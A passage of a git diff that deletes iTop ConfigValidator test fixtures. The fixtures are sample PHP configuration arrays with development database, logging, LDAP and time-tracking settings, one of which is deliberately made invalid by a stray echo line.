(eg. "@" => "Person", "?" => "SELECT FAQ WHERE status = 'published'") - // default: array ( - // '@' => 'SELECT Person WHERE status = \'active\'', - // ) - 'mentions.allowed_classes' => array( - '@' => 'SELECT Person WHERE status = \'active\'', - ), - - 'min_display_limit' => 20, - - // online_help: Hyperlink to the online-help web page - // default: 'http://www.combodo.com/itop-help' - 'online_help' => 'http://www.combodo.com/itop-help', - - // optimize_requests_for_join_count: Optimize request joins to minimize the count (default is true, try to set it to false in case of performance issues) - // default: true - 'optimize_requests_for_join_count' => true, - - 'password_hash_algo' => '2y', - - // php_path: Path to the php executable in CLI mode - // default: 'php' - 'php_path' => 'php', - - // search_manual_submit: Force manual submit of search all requests - // default: false - 'search_manual_submit' => false, - - 'secure_connection_required' => false, - - // session_name: The name of the cookie used to store the PHP session id - // default: 'iTop' - 'session_name' => 'iTop', - - // shortcut_actions: Actions that are available as direct buttons next to the "Actions" menu - // default: 'UI:Menu:Modify,UI:Menu:New' - 'shortcut_actions' => 'UI:Menu:Modify,UI:Menu:New', - - // source_dir: Source directory for the datamodel files. (which gets compiled to env-production). - // default: '' - 'source_dir' => 'datamodels/2.x/', - - 'standard_reload_interval' => 300, - - // synchro_trace: Synchronization details: none, display, save (includes 'display') - // default: 'none' - 'synchro_trace' => 'none', - - // tag_set_item_separator: Tag set from string: tag label separator - // default: '|' - 'tag_set_item_separator' => '|', - - // timezone: Timezone (reference: http://php.net/manual/en/timezones.php). If empty, it will be left unchanged and MUST be explicitly configured in PHP - // default: 'Europe/Paris' - 'timezone' => 'Europe/Paris', - - // tracking_level_linked_set_default: Default tracking level if not explicitly set at the attribute level, for AttributeLinkedSet (defaults to NONE in case of a fresh install, LIST otherwise - this to preserve backward compatibility while upgrading from a version older than 2.0.3 - see TRAC #936) - // default: 1 - 'tracking_level_linked_set_default' => 0, - - // url_validation_pattern: Regular expression to validate/detect the format of an URL (URL attributes and Wiki formatting for Text attributes) - // default: '(https?|ftp)\\://([a-zA-Z0-9+!*(),;?&=\\$_.-]+(\\:[a-zA-Z0-9+!*(),;?&=\\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\\:[0-9]{2,5})?(/([a-zA-Z0-9%+\\$_-]\\.?)+)*/?(\\?[a-zA-Z+&\\$_.-][a-zA-Z0-9;:[\\]@&%=+/\\$_.-]*)?(#[a-zA-Z_.-][a-zA-Z0-9+\\$_.-]*)?' - 'url_validation_pattern' => '(https?|ftp)\\://([a-zA-Z0-9+!*(),;?&=\\$_.-]+(\\:[a-zA-Z0-9+!*(),;?&=\\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\\:[0-9]{2,5})?(/([a-zA-Z0-9%+\\$_-]\\.?)+)*/?(\\?[a-zA-Z+&\\$_.-][a-zA-Z0-9;:[\\]@&%=+/\\$_.-]*)?(#[a-zA-Z_.-][a-zA-Z0-9+\\$_.-]*)?', -); - -/** - * - * Modules specific settings - * - */ -$MyModuleSettings = array( - 'authent-cas' => array( - 'cas_debug' => false, - 'cas_host' => '', - 'cas_port' => '', - 'cas_context' => '', - 'cas_version' => '', - ), - 'authent-ldap' => array( - 'host' => 'localhost', - 'port' => 389, - 'default_user' => '', - 'default_pwd' => '', - 'base_dn' => 'dc=yourcompany,dc=com', - 'user_query' => '(&(uid=%1$s)(inetuserstatus=ACTIVE))', - 'options' => array( - 17 => 3, - 8 => 0, - ), - 'start_tls' => false, - 'debug' => false, - ), - 'itop-attachments' => array( - 'allowed_classes' => array( - 0 => 'Ticket', - ), - 'position' => 'relations', - 'preview_max_width' => 290, - 'icon_preview_max_size' => 500000, - ), - 'itop-backup' => array( - 'mysql_bindir' => '', - 'week_days' => 'monday, tuesday, wednesday, thursday, friday', - 'time' => '23:30', - 'retention_count' => 5, - 'enabled' => true, - 'itop_backup_incident' => '', - ), - 'molkobain-console-tooltips' => array( - 'decoration_class' => 'fas fa-question', - 'enabled' => true, - ), - 'itop-time-tracking' => array( - 'allowed_classes' => array( - 'UserRequest' => - array( - 'calendar-tab' => 'SELECT UserRequest WHERE status != "closed"', - 'stopwatch' => 'SELECT UserRequest WHERE status != "closed"', - 'report-tab' => 'SELECT UserRequest WHERE status IN ("resolved", "closed")', - ), - 'Incident' => - array( - 'calendar-tab' => 'SELECT Incident WHERE status != "closed"', - 'stopwatch' => 'SELECT Incident WHERE status != "closed"', - 'report-tab' => 'SELECT Incident WHERE status IN ("resolved", "closed")', - ), - 'CustomerContract' => - array( - 'calendar-page' => 'SELECT CustomerContract WHERE status = "production"', - 'report-tab' => 'SELECT CustomerContract', - ), - ), - 'colors' => array( - 'default_stopwatch' => - array( - 'text' => '#ffffff', - 'background' => '#a6a6a6', - ), - 'default_calendar' => - array( - 'text' => '#ffffff', - 'background' => '#FFCC80', - ), - 'classes' => - array( - 'UserRequest' => - array( - 'text' => '#ffffff', - 'background' => 'shadeof:blue', - ), - 'Incident' => - array( - 'text' => '#ffffff', - 'background' => 'shadeof:green', - ), - 'CustomerContract' => - array( - 'text' => '#ffffff', - 'background' => 'shadeof:grey', - ), - ), - ), - 'clone_events' => false, - 'default_event_duration' => '00:30:00', - 'day_start_time' => '06:00:00', - 'day_end_time' => '22:00:00', - 'excluded_days' => array( - 0 => 'Saturday', - 1 => 'Sunday', - ), - 'first_day' => 1, - 'business_hours' => array( - 'days_of_week' => - array( - 0 => '1', - 1 => '2', - 2 => '3', - 3 => '4', - 4 => '5', - ), - 'start' => '08:00:00', - 'end' => '18:00:00', - ), - 'minimum_event_duration_display' => '00:30:00', - 'stopwatch_clean_periodicity' => 1, - 'stopwatch_max_time' => 4, - 'delete_max_event_age' => 30, - 'default_report_query' => 'SELECT TimeSpent WHERE contact_id = :contact_id AND start_date >= :start_date AND end_date < :end_date', - 'manager_report_query' => 'SELECT TimeSpent WHERE start_date >= :start_date AND end_date < :end_date', - 'manager_report_silo' => 'SELECT Person', - 'weekly_report_time_spent_attribute' => '', - 'weekly_report_time_spent_default' => '30hrs', - 'report_charts_definition' => array( - 0 => - array( - 'group_by_attribute' => 'contact_id', - 'label' => 'TimeTracking:ReportActivityPerUser', - ), - 1 => - array( - 'group_by_attribute' => 'org_id', - 'label' => 'TimeTracking:ReportActivityPerCustomer', - ), - ), - ), -); - -/** - * - * Data model modules to be loaded. Names are specified as relative paths - * - */ -$MyModules = array( - 'addons' => array( - 'user rights' => 'addons/userrights/userrightsprofile.class.inc.php', - ), -); - - -echo 'tutu'; - -?> \ No newline at end of file diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php deleted file mode 100644 index b6664cc95..000000000 --- a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_KO_function.php +++ /dev/null @@ -1,7 +0,0 @@ - 'iTop is temporarily frozen, please wait... (the admin team)', - - // access_mode: Access mode: ACCESS_READONLY = 0, ACCESS_ADMIN_WRITE = 2, ACCESS_FULL = 3 - // default: 3 - 'access_mode' => 3, - - // activity_panel.entry_form_opened_by_default: Whether or not the new entry form will be automatically opened when viewing an object. - // default: false - 'activity_panel.entry_form_opened_by_default' => false, - - // activity_panel.show_author_name_below_entries: Whether or not to show the author friendlyname next to the date on the last entry. - // default: false - 'activity_panel.show_author_name_below_entries' => false, - - 'allowed_login_types' => 'form|external|basic', - - // apc_cache.enabled: If set, the APC cache is allowed (the PHP extension must also be active) - // default: true - 'apc_cache.enabled' => true, - - // apc_cache.query_ttl: Time to live set in APC for the prepared queries (seconds - 0 means no timeout) - // default: 3600 - 'apc_cache.query_ttl' => 3600, - - // app_root_url: Root URL used for navigating within the application, or from an email to the application (you can put $SERVER_NAME$ as a placeholder for the server's name) - // default: '' - 'app_root_url' => 'http://localhost/itop-dev/', - - // behind_reverse_proxy: If true, then proxies custom header (X-Forwarded-*) are taken into account. Use only if the webserver is not publicly accessible (reachable only by the reverse proxy) - // default: false - 'behind_reverse_proxy' => false, - - // cron_max_execution_time: Duration (seconds) of the page cron.php, must be shorter than php setting max_execution_time and shorter than the web server response timeout - // default: 600 - 'cron_max_execution_time' => 600, - - // csv_file_default_charset: Character set used by default for downloading and uploading data as a CSV file. Warning: it is case sensitive (uppercase is preferable). - // default: 'ISO-8859-1' - 'csv_file_default_charset' => 'ISO-8859-1', - - 'csv_import_charsets' => array ( - ), - - // csv_import_history_display: Display the history tab in the import wizard - // default: false - 'csv_import_history_display' => false, - - // date_and_time_format: Format for date and time display (per language) - // default: array ( - // 'default' => - // array ( - // 'date' => 'Y-m-d', - // 'time' => 'H:i:s', - // 'date_time' => '$date $time', - // ), - // ) - 'date_and_time_format' => array ( - 'default' => - array ( - 'date' => 'Y-m-d', - 'time' => 'H:i:s', - 'date_time' => '$date $time', - ), - ), - - 'db_host' => 'localhost', - - 'db_name' => 'itop_dev', - - 'db_pwd' => '', - - 'db_subname' => '', - - 'db_user' => 'root', - - // deadline_format: The format used for displaying "deadline" attributes: any string with the following placeholders: $date$, $difference$ - // default: '$difference$' - 'deadline_format' => '$difference$', - - 'default_language' => 'EN US', - - // email_asynchronous: If set, the emails are sent off line, which requires cron.php to be activated. Exception: some features like the email test utility will force the serialized mode - // default: false - 'email_asynchronous' => false, - - // email_default_sender_address: Default address provided in the email from header field. - // default: '' - 'email_default_sender_address' => '', - - // email_default_sender_label: Default label provided in the email from header field. - // default: '' - 'email_default_sender_label' => '', - - // email_transport: Mean to send emails: PHPMail (uses the function mail()) or SMTP (implements the client protocol) - // default: 'PHPMail' - 'email_transport' => 'PHPMail', - - // email_validation_pattern: Regular expression to validate/detect the format of an eMail address - // default: '[a-zA-Z0-9._&\'-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z0-9-]{2,}' - 'email_validation_pattern' => '[a-zA-Z0-9._&\'-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z0-9-]{2,}', - - 'encryption_key' => '061c5b88c47ed64664618cf37b91a442b5550704aacecc5f58f96fc98087333b', - - 'encryption_library' => 'OpenSSL', - - 'ext_auth_variable' => '$_SERVER[\'REMOTE_USER\']', - - 'fast_reload_interval' => 60, - - // graphviz_path: Path to the Graphviz "dot" executable for graphing objects lifecycle - // default: '/usr/bin/dot' - 'graphviz_path' => 'C:\\Program Files (x86)\\Graphviz2.38\\bin\\dot.exe', - - // high_cardinality_classes: List of classes with high cardinality (Force manual submit of search) - // default: array ( - // ) - 'high_cardinality_classes' => array ( - ), - - // inline_image_max_display_width: The maximum width (in pixels) when displaying images inside an HTML formatted attribute. Images will be displayed using this this maximum width. - // default: '250' - 'inline_image_max_display_width' => '250', - - // inline_image_max_storage_width: The maximum width (in pixels) when uploading images to be used inside an HTML formatted attribute. Images larger than the given size will be downsampled before storing them in the database. - // default: '1600' - 'inline_image_max_storage_width' => '1600', - - // link_set_attribute_qualifier: Link set from string: attribute qualifier (encloses both the attcode and the value) - // default: '\'' - 'link_set_attribute_qualifier' => '\'', - - // link_set_attribute_separator: Link set from string: attribute separator - // default: ';' - 'link_set_attribute_separator' => ';', - - // link_set_item_separator: Link set from string: line separator - // default: '|' - 'link_set_item_separator' => '|', - - // link_set_value_separator: Link set from string: value separator (between the attcode and the value itself - // default: ':' - 'link_set_value_separator' => ':', - - 'log_global' => true, - - 'log_issue' => true, - - 'log_kpi_duration' => 0, - - 'log_notification' => true, - - 'log_web_service' => true, - - 'max_display_limit' => 30, - - // max_linkset_output: Maximum number of items shown when getting a list of related items in an email, using the form $this->some_list$. 0 means no limit. - // default: 100 - 'max_linkset_output' => 100, - - // mentions.allowed_classes: Classes which can be mentioned through the autocomplete in the caselogs. Key of the array must be a single character that will trigger the autocomplete, value can be either a DM class or a valid OQL (eg. "@" => "Person", "?" => "SELECT FAQ WHERE status = 'published'") - // default: array ( - // '@' => 'SELECT Person WHERE status = \'active\'', - // ) - 'mentions.allowed_classes' => array ( - '@' => 'SELECT Person WHERE status = \'active\'', - ), - - 'min_display_limit' => 20, - - // online_help: Hyperlink to the online-help web page - // default: 'http://www.combodo.com/itop-help' - 'online_help' => 'http://www.combodo.com/itop-help', - - // optimize_requests_for_join_count: Optimize request joins to minimize the count (default is true, try to set it to false in case of performance issues) - // default: true - 'optimize_requests_for_join_count' => true, - - 'password_hash_algo' => '2y', - - // php_path: Path to the php executable in CLI mode - // default: 'php' - 'php_path' => 'php', - - // search_manual_submit: Force manual submit of search all requests - // default: false - 'search_manual_submit' => false, - - 'secure_connection_required' => false, - - // session_name: The name of the cookie used to store the PHP session id - // default: 'iTop' - 'session_name' => 'iTop', - - // shortcut_actions: Actions that are available as direct buttons next to the "Actions" menu - // default: 'UI:Menu:Modify,UI:Menu:New' - 'shortcut_actions' => 'UI:Menu:Modify,UI:Menu:New', - - // source_dir: Source directory for the datamodel files. (which gets compiled to env-production). - // default: '' - 'source_dir' => 'datamodels/2.x/', - - 'standard_reload_interval' => 300, - - // synchro_trace: Synchronization details: none, display, save (includes 'display') - // default: 'none' - 'synchro_trace' => 'none', - - // tag_set_item_separator: Tag set from string: tag label separator - // default: '|' - 'tag_set_item_separator' => '|', - - // timezone: Timezone (reference: http://php.net/manual/en/timezones.php). If empty, it will be left unchanged and MUST be explicitly configured in PHP - // default: 'Europe/Paris' - 'timezone' => 'Europe/Paris', - - // tracking_level_linked_set_default: Default tracking level if not explicitly set at the attribute level, for AttributeLinkedSet (defaults to NONE in case of a fresh install, LIST otherwise - this to preserve backward compatibility while upgrading from a version older than 2.0.3 - see TRAC #936) - // default: 1 - 'tracking_level_linked_set_default' => 0, - - // url_validation_pattern: Regular expression to validate/detect the format of an URL (URL attributes and Wiki formatting for Text attributes) - // default: '(https?|ftp)\\://([a-zA-Z0-9+!*(),;?&=\\$_.-]+(\\:[a-zA-Z0-9+!*(),;?&=\\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\\:[0-9]{2,5})?(/([a-zA-Z0-9%+\\$_-]\\.?)+)*/?(\\?[a-zA-Z+&\\$_.-][a-zA-Z0-9;:[\\]@&%=+/\\$_.-]*)?(#[a-zA-Z_.-][a-zA-Z0-9+\\$_.-]*)?' - 'url_validation_pattern' => '(https?|ftp)\\://([a-zA-Z0-9+!*(),;?&=\\$_.-]+(\\:[a-zA-Z0-9+!*(),;?&=\\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\\:[0-9]{2,5})?(/([a-zA-Z0-9%+\\$_-]\\.?)+)*/?(\\?[a-zA-Z+&\\$_.-][a-zA-Z0-9;:[\\]@&%=+/\\$_.-]*)?(#[a-zA-Z_.-][a-zA-Z0-9+\\$_.-]*)?', -); - -/** - * - * Modules specific settings - * - */ -$MyModuleSettings = array( - 'authent-cas' => array ( - 'cas_debug' => false, - 'cas_host' => '', - 'cas_port' => '', - 'cas_context' => '', - 'cas_version' => '', - ), - 'authent-ldap' => array ( - 'host' => 'localhost', - 'port' => 389, - 'default_user' => '', - 'default_pwd' => '', - 'base_dn' => 'dc=yourcompany,dc=com', - 'user_query' => '(&(uid=%1$s)(inetuserstatus=ACTIVE))', - 'options' => array ( - 17 => 3, - 8 => 0, - ), - 'start_tls' => false, - 'debug' => false, - ), - 'itop-attachments' => array ( - 'allowed_classes' => array ( - 0 => 'Ticket', - ), - 'position' => 'relations', - 'preview_max_width' => 290, - 'icon_preview_max_size' => 500000, - ), - 'itop-backup' => array ( - 'mysql_bindir' => '', - 'week_days' => 'monday, tuesday, wednesday, thursday, friday', - 'time' => '23:30', - 'retention_count' => 5, - 'enabled' => true, - 'itop_backup_incident' => '', - ), - 'molkobain-console-tooltips' => array ( - 'decoration_class' => 'fas fa-question', - 'enabled' => true, - ), - 'itop-time-tracking' => array ( - 'allowed_classes' => array ( - 'UserRequest' => - array ( - 'calendar-tab' => 'SELECT UserRequest WHERE status != "closed"', - 'stopwatch' => 'SELECT UserRequest WHERE status != "closed"', - 'report-tab' => 'SELECT UserRequest WHERE status IN ("resolved", "closed")', - ), - 'Incident' => - array ( - 'calendar-tab' => 'SELECT Incident WHERE status != "closed"', - 'stopwatch' => 'SELECT Incident WHERE status != "closed"', - 'report-tab' => 'SELECT Incident WHERE status IN ("resolved", "closed")', - ), - 'CustomerContract' => - array ( - 'calendar-page' => 'SELECT CustomerContract WHERE status = "production"', - 'report-tab' => 'SELECT CustomerContract', - ), - ), - 'colors' => array ( - 'default_stopwatch' => - array ( - 'text' => '#ffffff', - 'background' => '#a6a6a6', - ), - 'default_calendar' => - array ( - 'text' => '#ffffff', - 'background' => '#FFCC80', - ), - 'classes' => - array ( - 'UserRequest' => - array ( - 'text' => '#ffffff', - 'background' => 'shadeof:blue', - ), - 'Incident' => - array ( - 'text' => '#ffffff', - 'background' => 'shadeof:green', - ), - 'CustomerContract' => - array ( - 'text' => '#ffffff', - 'background' => 'shadeof:grey', - ), - ), - ), - 'clone_events' => false, - 'default_event_duration' => '00:30:00', - 'day_start_time' => '06:00:00', - 'day_end_time' => '22:00:00', - 'excluded_days' => array ( - 0 => 'Saturday', - 1 => 'Sunday', - ), - 'first_day' => 1, - 'business_hours' => array ( - 'days_of_week' => - array ( - 0 => '1', - 1 => '2', - 2 => '3', - 3 => '4', - 4 => '5', - ), - 'start' => '08:00:00', - 'end' => '18:00:00', - ), - 'minimum_event_duration_display' => '00:30:00', - 'stopwatch_clean_periodicity' => 1, - 'stopwatch_max_time' => 4, - 'delete_max_event_age' => 30, - 'default_report_query' => 'SELECT TimeSpent WHERE contact_id = :contact_id AND start_date >= :start_date AND end_date < :end_date', - 'manager_report_query' => 'SELECT TimeSpent WHERE start_date >= :start_date AND end_date < :end_date', - 'manager_report_silo' => 'SELECT Person', - 'weekly_report_time_spent_attribute' => '', - 'weekly_report_time_spent_default' => '30hrs', - 'report_charts_definition' => array ( - 0 => - array ( - 'group_by_attribute' => 'contact_id', - 'label' => 'TimeTracking:ReportActivityPerUser', - ), - 1 => - array ( - 'group_by_attribute' => 'org_id', - 'label' => 'TimeTracking:ReportActivityPerCustomer', - ), - ), - ), -); - -/** - * - * Data model modules to be loaded. Names are specified as relative paths - * - */ -$MyModules = array( - 'addons' => array ( - 'user rights' => 'addons/userrights/userrightsprofile.class.inc.php', - ), -); -?> \ No newline at end of file diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php deleted file mode 100644 index 1d59e53c1..000000000 --- a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/config-itop_VALID_log-level-min_const.php +++ /dev/null @@ -1,394 +0,0 @@ - 'iTop is temporarily frozen, please wait... (the admin team)', - - // access_mode: Access mode: ACCESS_READONLY = 0, ACCESS_ADMIN_WRITE = 2, ACCESS_FULL = 3 - // default: 3 - 'access_mode' => 3, - - // activity_panel.entry_form_opened_by_default: Whether or not the new entry form will be automatically opened when viewing an object. - // default: false - 'activity_panel.entry_form_opened_by_default' => false, - - // activity_panel.show_author_name_below_entries: Whether or not to show the author friendlyname next to the date on the last entry. - // default: false - 'activity_panel.show_author_name_below_entries' => false, - - 'allowed_login_types' => 'form|external|basic', - - // apc_cache.enabled: If set, the APC cache is allowed (the PHP extension must also be active) - // default: true - 'apc_cache.enabled' => true, - - // apc_cache.query_ttl: Time to live set in APC for the prepared queries (seconds - 0 means no timeout) - // default: 3600 - 'apc_cache.query_ttl' => 3600, - - // app_root_url: Root URL used for navigating within the application, or from an email to the application (you can put $SERVER_NAME$ as a placeholder for the server's name) - // default: '' - 'app_root_url' => 'http://localhost/itop-dev/', - - // behind_reverse_proxy: If true, then proxies custom header (X-Forwarded-*) are taken into account. Use only if the webserver is not publicly accessible (reachable only by the reverse proxy) - // default: false - 'behind_reverse_proxy' => false, - - // cron_max_execution_time: Duration (seconds) of the page cron.php, must be shorter than php setting max_execution_time and shorter than the web server response timeout - // default: 600 - 'cron_max_execution_time' => 600, - - // csv_file_default_charset: Character set used by default for downloading and uploading data as a CSV file. Warning: it is case sensitive (uppercase is preferable). - // default: 'ISO-8859-1' - 'csv_file_default_charset' => 'ISO-8859-1', - - 'csv_import_charsets' => array(), - - // csv_import_history_display: Display the history tab in the import wizard - // default: false - 'csv_import_history_display' => false, - - // date_and_time_format: Format for date and time display (per language) - // default: array ( - // 'default' => - // array ( - // 'date' => 'Y-m-d', - // 'time' => 'H:i:s', - // 'date_time' => '$date $time', - // ), - // ) - 'date_and_time_format' => array( - 'default' => - array( - 'date' => 'Y-m-d', - 'time' => 'H:i:s', - 'date_time' => '$date $time', - ), - ), - - 'db_host' => 'localhost', - - 'db_name' => 'itop_dev', - - 'db_pwd' => '', - - 'db_subname' => '', - - 'db_user' => 'root', - - // deadline_format: The format used for displaying "deadline" attributes: any string with the following placeholders: $date$, $difference$ - // default: '$difference$' - 'deadline_format' => '$difference$', - - 'default_language' => 'EN US', - - // email_asynchronous: If set, the emails are sent off line, which requires cron.php to be activated. Exception: some features like the email test utility will force the serialized mode - // default: false - 'email_asynchronous' => false, - - // email_default_sender_address: Default address provided in the email from header field. - // default: '' - 'email_default_sender_address' => '', - - // email_default_sender_label: Default label provided in the email from header field. - // default: '' - 'email_default_sender_label' => '', - - // email_transport: Mean to send emails: PHPMail (uses the function mail()) or SMTP (implements the client protocol) - // default: 'PHPMail' - 'email_transport' => 'PHPMail', - - // email_validation_pattern: Regular expression to validate/detect the format of an eMail address - // default: '[a-zA-Z0-9._&\'-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z0-9-]{2,}' - 'email_validation_pattern' => '[a-zA-Z0-9._&\'-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z0-9-]{2,}', - - 'encryption_key' => '061c5b88c47ed64664618cf37b91a442b5550704aacecc5f58f96fc98087333b', - - 'encryption_library' => 'OpenSSL', - - 'ext_auth_variable' => '$_SERVER[\'REMOTE_USER\']', - - 'fast_reload_interval' => 60, - - // graphviz_path: Path to the Graphviz "dot" executable for graphing objects lifecycle - // default: '/usr/bin/dot' - 'graphviz_path' => 'C:\\Program Files (x86)\\Graphviz2.38\\bin\\dot.exe', - - // high_cardinality_classes: List of classes with high cardinality (Force manual submit of search) - // default: array ( - // ) - 'high_cardinality_classes' => array(), - - // inline_image_max_display_width: The maximum width (in pixels) when displaying images inside an HTML formatted attribute. Images will be displayed using this this maximum width. - // default: '250' - 'inline_image_max_display_width' => '250', - - // inline_image_max_storage_width: The maximum width (in pixels) when uploading images to be used inside an HTML formatted attribute. Images larger than the given size will be downsampled before storing them in the database. - // default: '1600' - 'inline_image_max_storage_width' => '1600', - - // link_set_attribute_qualifier: Link set from string: attribute qualifier (encloses both the attcode and the value) - // default: '\'' - 'link_set_attribute_qualifier' => '\'', - - // link_set_attribute_separator: Link set from string: attribute separator - // default: ';' - 'link_set_attribute_separator' => ';', - - // link_set_item_separator: Link set from string: line separator - // default: '|' - 'link_set_item_separator' => '|', - - // link_set_value_separator: Link set from string: value separator (between the attcode and the value itself - // default: ':' - 'link_set_value_separator' => ':', - - 'log_global' => true, - - 'log_issue' => true, - - 'log_kpi_duration' => 0, - - 'log_level_min' => array( - '' => LogAPI::LEVEL_WARNING, - 'InlineImage' => LogAPI::LEVEL_TRACE, - 'UserRequest' => LogAPI::LEVEL_TRACE, - ), - - 'log_notification' => true, - - 'log_web_service' => true, - - 'max_display_limit' => 30, - - // max_linkset_output: Maximum number of items shown when getting a list of related items in an email, using the form $this->some_list$. 0 means no limit. - // default: 100 - 'max_linkset_output' => 100, - - // mentions.allowed_classes: Classes which can be mentioned through the autocomplete in the caselogs. Key of the array must be a single character that will trigger the autocomplete, value can be either a DM class or a valid OQL (eg. "@" => "Person", "?" => "SELECT FAQ WHERE status = 'published'") - // default: array ( - // '@' => 'SELECT Person WHERE status = \'active\'', - // ) - 'mentions.allowed_classes' => array( - '@' => 'SELECT Person WHERE status = \'active\'', - ), - - 'min_display_limit' => 20, - - // online_help: Hyperlink to the online-help web page - // default: 'http://www.combodo.com/itop-help' - 'online_help' => 'http://www.combodo.com/itop-help', - - // optimize_requests_for_join_count: Optimize request joins to minimize the count (default is true, try to set it to false in case of performance issues) - // default: true - 'optimize_requests_for_join_count' => true, - - 'password_hash_algo' => '2y', - - // php_path: Path to the php executable in CLI mode - // default: 'php' - 'php_path' => 'php', - - // search_manual_submit: Force manual submit of search all requests - // default: false - 'search_manual_submit' => false, - - 'secure_connection_required' => false, - - // session_name: The name of the cookie used to store the PHP session id - // default: 'iTop' - 'session_name' => 'iTop', - - // shortcut_actions: Actions that are available as direct buttons next to the "Actions" menu - // default: 'UI:Menu:Modify,UI:Menu:New' - 'shortcut_actions' => 'UI:Menu:Modify,UI:Menu:New', - - // source_dir: Source directory for the datamodel files. (which gets compiled to env-production). - // default: '' - 'source_dir' => 'datamodels/2.x/', - - 'standard_reload_interval' => 300, - - // synchro_trace: Synchronization details: none, display, save (includes 'display') - // default: 'none' - 'synchro_trace' => 'none', - - // tag_set_item_separator: Tag set from string: tag label separator - // default: '|' - 'tag_set_item_separator' => '|', - - // timezone: Timezone (reference: http://php.net/manual/en/timezones.php). If empty, it will be left unchanged and MUST be explicitly configured in PHP - // default: 'Europe/Paris' - 'timezone' => 'Europe/Paris', - - // tracking_level_linked_set_default: Default tracking level if not explicitly set at the attribute level, for AttributeLinkedSet (defaults to NONE in case of a fresh install, LIST otherwise - this to preserve backward compatibility while upgrading from a version older than 2.0.3 - see TRAC #936) - // default: 1 - 'tracking_level_linked_set_default' => 0, - - // url_validation_pattern: Regular expression to validate/detect the format of an URL (URL attributes and Wiki formatting for Text attributes) - // default: '(https?|ftp)\\://([a-zA-Z0-9+!*(),;?&=\\$_.-]+(\\:[a-zA-Z0-9+!*(),;?&=\\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\\:[0-9]{2,5})?(/([a-zA-Z0-9%+\\$_-]\\.?)+)*/?(\\?[a-zA-Z+&\\$_.-][a-zA-Z0-9;:[\\]@&%=+/\\$_.-]*)?(#[a-zA-Z_.-][a-zA-Z0-9+\\$_.-]*)?' - 'url_validation_pattern' => '(https?|ftp)\\://([a-zA-Z0-9+!*(),;?&=\\$_.-]+(\\:[a-zA-Z0-9+!*(),;?&=\\$_.-]+)?@)?([a-zA-Z0-9-.]{3,})(\\:[0-9]{2,5})?(/([a-zA-Z0-9%+\\$_-]\\.?)+)*/?(\\?[a-zA-Z+&\\$_.-][a-zA-Z0-9;:[\\]@&%=+/\\$_.-]*)?(#[a-zA-Z_.-][a-zA-Z0-9+\\$_.-]*)?', -); - -/** - * - * Modules specific settings - * - */ -$MyModuleSettings = array( - 'authent-cas' => array( - 'cas_debug' => false, - 'cas_host' => '', - 'cas_port' => '', - 'cas_context' => '', - 'cas_version' => '', - ), - 'authent-ldap' => array( - 'host' => 'localhost', - 'port' => 389, - 'default_user' => '', - 'default_pwd' => '', - 'base_dn' => 'dc=yourcompany,dc=com', - 'user_query' => '(&(uid=%1$s)(inetuserstatus=ACTIVE))', - 'options' => array( - 17 => 3, - 8 => 0, - ), - 'start_tls' => false, - 'debug' => false, - ), - 'itop-attachments' => array( - 'allowed_classes' => array( - 0 => 'Ticket', - ), - 'position' => 'relations', - 'preview_max_width' => 290, - 'icon_preview_max_size' => 500000, - ), - 'itop-backup' => array( - 'mysql_bindir' => '', - 'week_days' => 'monday, tuesday, wednesday, thursday, friday', - 'time' => '23:30', - 'retention_count' => 5, - 'enabled' => true, - 'itop_backup_incident' => '', - ), - 'molkobain-console-tooltips' => array( - 'decoration_class' => 'fas fa-question', - 'enabled' => true, - ), - 'itop-time-tracking' => array( - 'allowed_classes' => array( - 'UserRequest' => - array( - 'calendar-tab' => 'SELECT UserRequest WHERE status != "closed"', - 'stopwatch' => 'SELECT UserRequest WHERE status != "closed"', - 'report-tab' => 'SELECT UserRequest WHERE status IN ("resolved", "closed")', - ), - 'Incident' => - array( - 'calendar-tab' => 'SELECT Incident WHERE status != "closed"', - 'stopwatch' => 'SELECT Incident WHERE status != "closed"', - 'report-tab' => 'SELECT Incident WHERE status IN ("resolved", "closed")', - ), - 'CustomerContract' => - array( - 'calendar-page' => 'SELECT CustomerContract WHERE status = "production"', - 'report-tab' => 'SELECT CustomerContract', - ), - ), - 'colors' => array( - 'default_stopwatch' => - array( - 'text' => '#ffffff', - 'background' => '#a6a6a6', - ), - 'default_calendar' => - array( - 'text' => '#ffffff', - 'background' => '#FFCC80', - ), - 'classes' => - array( - 'UserRequest' => - array( - 'text' => '#ffffff', - 'background' => 'shadeof:blue', - ), - 'Incident' => - array( - 'text' => '#ffffff', - 'background' => 'shadeof:green', - ), - 'CustomerContract' => - array( - 'text' => '#ffffff', - 'background' => 'shadeof:grey', - ), - ), - ), - 'clone_events' => false, - 'default_event_duration' => '00:30:00', - 'day_start_time' => '06:00:00', - 'day_end_time' => '22:00:00', - 'excluded_days' => array( - 0 => 'Saturday', - 1 => 'Sunday', - ), - 'first_day' => 1, - 'business_hours' => array( - 'days_of_week' => - array( - 0 => '1', - 1 => '2', - 2 => '3', - 3 => '4', - 4 => '5', - ), - 'start' => '08:00:00', - 'end' => '18:00:00', - ), - 'minimum_event_duration_display' => '00:30:00', - 'stopwatch_clean_periodicity' => 1, - 'stopwatch_max_time' => 4, - 'delete_max_event_age' => 30, - 'default_report_query' => 'SELECT TimeSpent WHERE contact_id = :contact_id AND start_date >= :start_date AND end_date < :end_date', - 'manager_report_query' => 'SELECT TimeSpent WHERE start_date >= :start_date AND end_date < :end_date', - 'manager_report_silo' => 'SELECT Person', - 'weekly_report_time_spent_attribute' => '', - 'weekly_report_time_spent_default' => '30hrs', - 'report_charts_definition' => array( - 0 => - array( - 'group_by_attribute' => 'contact_id', - 'label' => 'TimeTracking:ReportActivityPerUser', - ), - 1 => - array( - 'group_by_attribute' => 'org_id', 